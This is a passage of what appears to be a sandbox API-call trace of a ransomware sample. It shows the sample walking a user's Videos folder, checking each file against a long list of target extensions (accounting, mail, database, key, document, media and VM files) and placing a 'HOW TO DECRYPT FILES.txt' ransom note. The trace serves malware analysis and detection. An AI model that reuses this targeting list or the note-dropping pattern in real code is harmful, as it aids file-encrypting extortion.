(lpString="*.qbw") returned 5 [0091.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.qbb") returned 0 [0091.964] lstrlenA (lpString="*.qbb") returned 5 [0091.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.qbm") returned 0 [0091.964] lstrlenA (lpString="*.qbm") returned 5 [0091.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.qbo") returned 0 [0091.964] lstrlenA (lpString="*.qbo") returned 5 [0091.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.qbx") returned 0 [0091.965] lstrlenA (lpString="*.qbx") returned 5 [0091.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.qba") returned 0 [0091.965] lstrlenA (lpString="*.qba") returned 5 [0091.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.qby") returned 0 [0091.965] lstrlenA (lpString="*.qby") returned 5 [0091.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.qbj") returned 0 [0091.965] lstrlenA (lpString="*.qbj") returned 5 [0091.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.ofx") returned 0 [0091.965] lstrlenA (lpString="*.ofx") returned 5 [0091.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.qif") returned 0 [0091.965] lstrlenA (lpString="*.qif") returned 5 [0091.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.mye") returned 0 [0091.965] lstrlenA (lpString="*.mye") returned 5 [0091.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.mbox") returned 0 [0091.965] lstrlenA (lpString="*.mbox") returned 6 [0091.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.eml") returned 0 [0091.965] lstrlenA (lpString="*.eml") returned 5 [0091.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.pst") returned 0 [0091.965] lstrlenA (lpString="*.pst") returned 5 [0091.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.ost") returned 0 [0091.965] lstrlenA (lpString="*.ost") returned 5 [0091.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.idx") returned 0 [0091.966] lstrlenA (lpString="*.idx") returned 5 [0091.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.dbx") returned 0 [0091.966] lstrlenA (lpString="*.dbx") returned 5 [0091.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.sql") returned 0 [0091.966] lstrlenA (lpString="*.sql") returned 5 [0091.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.mdb") returned 0 [0091.966] lstrlenA (lpString="*.mdb") returned 5 [0091.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.fdb") returned 0 [0091.966] lstrlenA (lpString="*.fdb") returned 5 [0091.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.wab") returned 0 [0091.966] lstrlenA (lpString="*.wab") returned 5 [0091.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.dat") returned 0 [0091.966] lstrlenA (lpString="*.dat") returned 5 [0091.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.txt") returned 0 [0091.966] lstrlenA (lpString="*.txt") returned 5 [0091.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.jpeg") returned 0 [0091.966] lstrlenA (lpString="*.jpeg") returned 6 [0091.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.jpg") returned 0 [0091.967] lstrlenA (lpString="*.jpg") returned 5 [0091.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.png") returned 0 [0091.967] lstrlenA (lpString="*.png") returned 5 [0091.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.php") returned 0 [0091.967] lstrlenA (lpString="*.php") returned 5 [0091.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.cs") returned 0 [0091.967] lstrlenA (lpString="*.cs") returned 4 [0091.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.cpp") returned 0 [0091.967] lstrlenA (lpString="*.cpp") returned 5 [0091.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.rar") returned 0 [0091.967] lstrlenA (lpString="*.rar") returned 5 [0091.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.zip") returned 0 [0091.967] lstrlenA (lpString="*.zip") returned 5 [0091.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.html") returned 0 [0091.967] lstrlenA (lpString="*.html") returned 6 [0091.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.htm") returned 0 [0091.967] lstrlenA (lpString="*.htm") returned 5 [0091.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.xlsx") returned 0 [0091.968] lstrlenA (lpString="*.xlsx") returned 6 [0091.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.xls") returned 0 [0091.968] lstrlenA (lpString="*.xls") returned 5 [0091.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.mp4") returned 0 [0091.968] lstrlenA (lpString="*.mp4") returned 5 [0091.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.ppt") returned 0 [0091.968] lstrlenA (lpString="*.ppt") returned 5 [0091.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.pptx") returned 0 [0091.968] lstrlenA (lpString="*.pptx") returned 6 [0091.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.doc") returned 0 [0091.968] lstrlenA (lpString="*.doc") returned 5 [0091.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.dot") returned 0 [0091.968] lstrlenA (lpString="*.dot") returned 5 [0091.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.docx") returned 0 [0091.968] lstrlenA (lpString="*.docx") returned 6 [0091.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.7z") returned 0 [0091.969] lstrlenA (lpString="*.7z") returned 4 [0091.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.tar") returned 0 [0091.969] lstrlenA (lpString="*.tar") returned 5 [0091.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.bz2") returned 0 [0091.969] lstrlenA (lpString="*.bz2") returned 5 [0091.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.gz") returned 0 [0091.969] lstrlenA (lpString="*.gz") returned 4 [0091.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.mkv") returned 0 [0091.969] lstrlenA (lpString="*.mkv") returned 5 [0091.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.eml") returned 0 [0091.969] lstrlenA (lpString="*.eml") returned 5 [0091.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.msg") returned 0 [0091.969] lstrlenA (lpString="*.msg") returned 5 [0091.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.edb") returned 0 [0091.969] lstrlenA (lpString="*.edb") returned 5 [0091.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.accdb") returned 0 [0091.969] lstrlenA (lpString="*.accdb") returned 7 [0091.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.odb") returned 0 [0091.969] lstrlenA (lpString="*.odb") returned 5 [0091.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.java") returned 0 [0091.970] lstrlenA (lpString="*.java") returned 6 [0091.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.asm") returned 0 [0091.970] lstrlenA (lpString="*.asm") returned 5 [0091.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.pfx") returned 0 [0091.970] lstrlenA (lpString="*.pfx") returned 5 [0091.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.pem") returned 0 [0091.970] lstrlenA (lpString="*.pem") returned 5 [0091.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.p12") returned 0 [0091.970] lstrlenA (lpString="*.p12") returned 5 [0091.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.gpg") returned 0 [0091.970] lstrlenA (lpString="*.gpg") returned 5 [0091.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.vsd") returned 0 [0091.970] lstrlenA (lpString="*.vsd") returned 5 [0091.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.odg") returned 0 [0091.970] lstrlenA (lpString="*.odg") returned 5 [0091.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.raw") returned 0 [0091.970] lstrlenA (lpString="*.raw") returned 5 [0091.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.nef") returned 0 [0091.971] lstrlenA (lpString="*.nef") returned 5 [0091.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.svg") returned 0 [0091.971] lstrlenA (lpString="*.svg") returned 5 [0091.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.psd") returned 0 [0091.971] lstrlenA (lpString="*.psd") returned 5 [0091.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.vmx") returned 0 [0091.971] lstrlenA (lpString="*.vmx") returned 5 [0091.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.vmdk") returned 0 [0091.971] lstrlenA (lpString="*.vmdk") returned 6 [0091.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.vdi") returned 0 [0091.971] lstrlenA (lpString="*.vdi") returned 5 [0091.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.lay6") returned 0 [0091.971] lstrlenA (lpString="*.lay6") returned 6 [0091.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.mpeg") returned 0 [0091.971] lstrlenA (lpString="*.mpeg") returned 6 [0091.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.djvu") returned 0 [0091.971] lstrlenA (lpString="*.djvu") returned 6 [0091.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.tiff") returned 0 [0091.971] lstrlenA (lpString="*.tiff") returned 6 [0091.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.backup") returned 0 [0091.971] lstrlenA (lpString="*.backup") returned 8 [0091.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.pdf") returned 0 [0091.972] lstrlenA (lpString="*.pdf") returned 5 [0091.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.cert") returned 0 [0091.972] lstrlenA (lpString="*.cert") returned 6 [0091.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.docm") returned 0 [0091.972] lstrlenA (lpString="*.docm") returned 6 [0091.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.xlsm") returned 0 [0091.972] lstrlenA (lpString="*.xlsm") returned 6 [0091.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.dwg") returned 0 [0091.972] lstrlenA (lpString="*.dwg") returned 5 [0091.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.nd") returned 0 [0091.972] lstrlenA (lpString="*.nd") returned 4 [0091.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.tlg") returned 0 [0091.972] lstrlenA (lpString="*.tlg") returned 5 [0091.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.lgb") returned 0 [0091.972] lstrlenA (lpString="*.lgb") returned 5 [0091.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.mov") returned 0 [0091.972] lstrlenA (lpString="*.mov") returned 5 [0091.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.xdw") returned 0 [0091.972] lstrlenA (lpString="*.xdw") returned 5 [0091.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.ods") returned 0 [0091.973] lstrlenA (lpString="*.ods") returned 5 [0091.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.wav") returned 0 [0091.973] lstrlenA (lpString="*.wav") returned 5 [0091.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.mp3") returned 0 [0091.973] lstrlenA (lpString="*.mp3") returned 5 [0091.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.aiff") returned 0 [0091.973] lstrlenA (lpString="*.aiff") returned 6 [0091.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.flac") returned 0 [0091.973] lstrlenA (lpString="*.flac") returned 6 [0091.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.m4a") returned 0 [0091.973] lstrlenA (lpString="*.m4a") returned 5 [0091.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv", pszSpec="*.csv") returned 0 [0091.973] lstrlenA (lpString="*.csv") returned 5 [0091.973] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4513b80, ftCreationTime.dwHighDateTime=0x1d5df34, ftLastAccessTime.dwLowDateTime=0x965e4c10, ftLastAccessTime.dwHighDateTime=0x1d5e6e1, ftLastWriteTime.dwLowDateTime=0x965e4c10, ftLastWriteTime.dwHighDateTime=0x1d5e6e1, nFileSizeHigh=0x0, nFileSizeLow=0x15a2, dwReserved0=0x520043, dwReserved1=0x500059, cFileName="OrUm.mkv", cAlternateFileName="")) returned 1 [0091.973] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0091.973] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OrUm.mkv") returned -1 [0091.973] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OrUm.mkv") returned -1 [0091.973] lstrcmpiA (lpString1="", lpString2="OrUm.mkv") returned -1 [0091.973] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\MiWyZ9uPjJv.flv") returned="MiWyZ9uPjJv.flv" [0091.973] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" [0091.974] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\") returned="" [0091.974] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt" [0091.974] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\how to decrypt files.txt")) returned 0x20 